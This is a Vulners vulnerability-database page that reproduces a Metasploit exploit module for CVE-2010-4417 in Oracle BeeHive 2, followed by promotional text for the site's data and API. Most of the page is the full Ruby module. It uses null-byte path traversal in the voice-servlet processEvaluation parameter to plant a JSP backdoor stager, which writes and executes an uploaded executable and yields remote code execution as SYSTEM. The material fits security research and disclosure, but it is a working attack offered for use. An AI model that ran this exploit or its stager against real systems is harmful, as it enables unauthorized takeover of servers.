Lucene search
K

Oracle BeeHive 2 Code Execution

🗓️ 03 Dec 2015 00:00:00Reported by mr_meType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 42 Views

Oracle BeeHive 2 voice-servlet processEvaluation() Vulnerability allows remote arbitrary code execution under the context of SYSTE

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Oracle BeeHive 2 Code Execution Exploit
3 Dec 201500:00
zdt
Circl
CVE-2010-4417
3 Dec 201500:00
circl
CVE
CVE-2010-4417
19 Jan 201115:00
cve
Cvelist
CVE-2010-4417
19 Jan 201115:00
cvelist
Exploit DB
Oracle BeeHive 2 - 'voice-servlet processEvaluation()' Write File (Metasploit)
3 Dec 201500:00
exploitdb
Metasploit
Oracle BeeHive 2 voice-servlet processEvaluation() Vulnerability
25 Nov 201501:17
metasploit
NVD
CVE-2010-4417
19 Jan 201116:00
nvd
Oracle
Oracle Critical Patch Update - January 2011
18 Jan 201100:00
oracle
Oracle
Oracle Critical Patch Update - January 2011
18 Jan 201100:00
oracle
Prion
Code injection
19 Jan 201116:00
prion
Rows per page
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Oracle BeeHive 2 voice-servlet processEvaluation() Vulnerability",  
'Description' => %q{  
This module exploits a vulnerability found in Oracle BeeHive. The processEvaluation method  
found in voice-servlet can be abused to write a malicious file onto the target machine, and  
gain remote arbitrary code execution under the context of SYSTEM.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'1c239c43f521145fa8385d64a9c32243', # Found the vuln first  
'mr_me <steventhomasseeley[at]gmail.com>', # https://twitter.com/ae0n_ (overlapped finding & PoC)  
'sinn3r' # Metasploit  
],  
'References' =>  
[  
[ 'CVE', '2010-4417' ],  
[ 'ZDI', '11-020' ],  
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html' ]  
],  
'DefaultOptions' =>  
{  
'RPORT' => 7777  
},  
'Platform' => 'win',  
'Targets' =>  
[  
['Oracle Beehive 2', {}]  
],  
'Privileged' => true,  
'DisclosureDate' => 'Jun 09 2010',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, "Oracle Beehive's base directory", '/'])  
], self.class)  
end  
  
  
def check  
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'voice-servlet', 'prompt-qa', 'showRecxml.jsp'))  
  
if res && /RECXML Prompt Tester/ === res.body  
return Exploit::CheckCode::Detected  
end  
  
Exploit::CheckCode::Safe  
end  
  
  
def exploit  
unless check == Exploit::CheckCode::Detected  
fail_with(Failure::NotVulnerable, 'Target does not appear to be Oracle BeeHive')  
end  
  
# Init some names  
exe_name = "#{Rex::Text.rand_text_alpha(5)}.exe"  
stager_name = "#{Rex::Text.rand_text_alpha(5)}.jsp"  
  
print_status("Stager name is: #{stager_name}")  
print_status("Executable name is: #{exe_name}")  
  
# pwd:  
# C:\oracle\product\2.0.1.0.0\beehive_2\j2ee\home  
# Targeted path:  
# C:\oracle\product\2.0.1.0.0\beehive_2\j2ee\BEEAPP\applications\voice-servlet\voice-servlet\prompt-qa  
register_files_for_cleanup(  
"../BEEAPP/applications/voice-servlet/voice-servlet/prompt-qa/#{stager_name}"  
)  
  
  
# Ok fire!  
print_status("Uploading stager...")  
res = upload_stager(stager_name, exe_name)  
  
# Hmm if we fail to upload the stager, no point to continue.  
unless res  
fail_with(Failure::Unknown, 'Connection timed out.')  
end  
  
print_status("Uploading payload...")  
upload_payload(stager_name)  
end  
  
  
# Our stager is basically a backdoor that allows us to upload an executable with a POST request.  
def get_jsp_stager(exe_name)  
jsp = %Q|<%@ page import="java.io.*" %>  
<%  
ByteArrayOutputStream buf = new ByteArrayOutputStream();  
BufferedReader reader = request.getReader();  
int tmp;  
while ((tmp = reader.read()) != -1) { buf.write(tmp); }  
FileOutputStream fostream = new FileOutputStream("#{exe_name}");  
buf.writeTo(fostream);  
fostream.close();  
Runtime.getRuntime().exec("#{exe_name}");  
%>|  
  
# Since we're sending it as a GET request, we want to keep it smaller so  
# we gsub stuff we don't want.  
jsp.gsub!("\n", '')  
jsp.gsub!(' ', ' ')  
Rex::Text.uri_encode(jsp)  
end  
  
  
# Stager will be found under:  
# C:\oracle\product\2.0.1.0.0\beehive_2\j2ee\BEEAPP\applications\voice-servlet\voice-servlet\prompt-qa\  
def upload_stager(stager_name, exe_name)  
jsp_stager = get_jsp_stager(exe_name)  
uri = normalize_uri(target_uri.path, 'voice-servlet', 'prompt-qa', 'showRecxml.jsp')  
send_request_cgi({  
'method' => 'GET',  
'uri' => uri,  
'encode_params' => false, # Don't encode %00 for us  
'vars_get' => {  
'evaluation' => jsp_stager,  
'recxml' => "..\\#{stager_name}%00"  
}  
})  
end  
  
# Payload will be found under:  
# C:\oracle\product\2.0.1.0.0\beehive_2\j2ee\home\  
def upload_payload(stager_name)  
uri = normalize_uri(target_uri.path, 'voice-servlet', 'prompt-qa', stager_name)  
send_request_cgi({  
'method' => 'POST',  
'uri' => uri,  
'data' => generate_payload_exe(code: payload.encoded)  
})  
end  
  
def print_status(msg)  
super("#{rhost}:#{rport} - #{msg}")  
end  
  
end  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation